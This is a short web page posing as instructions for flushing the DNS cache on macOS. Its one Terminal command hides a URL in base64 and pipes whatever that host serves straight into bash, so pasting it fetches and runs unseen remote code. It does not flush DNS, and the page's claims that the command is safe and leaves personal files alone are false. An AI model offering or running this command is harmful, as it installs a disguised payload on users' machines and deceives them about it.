How to Flush DNS on macOS

This method refreshes your Mac’s DNS cache to fix website loading issues and ensure your system uses the most accurate and up-to-date network information — safe, quick, and without affecting your personal data.

Step 1: Open Terminal

Press Command (⌘) + Space → type Terminal and hit Return

Step 2: Run the Command

Paste the command into the Terminal window and press Return

Terminal

/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9oaHNnYXRlLmNvbS9maXhkbnM= | base64 -d))"

What this command does:

Clears outdated DNS cache entries

Fixes websites not loading or resolving incorrectly

Forces macOS to request fresh DNS information

Does not modify or delete personal files

Published Date: September 30, 2025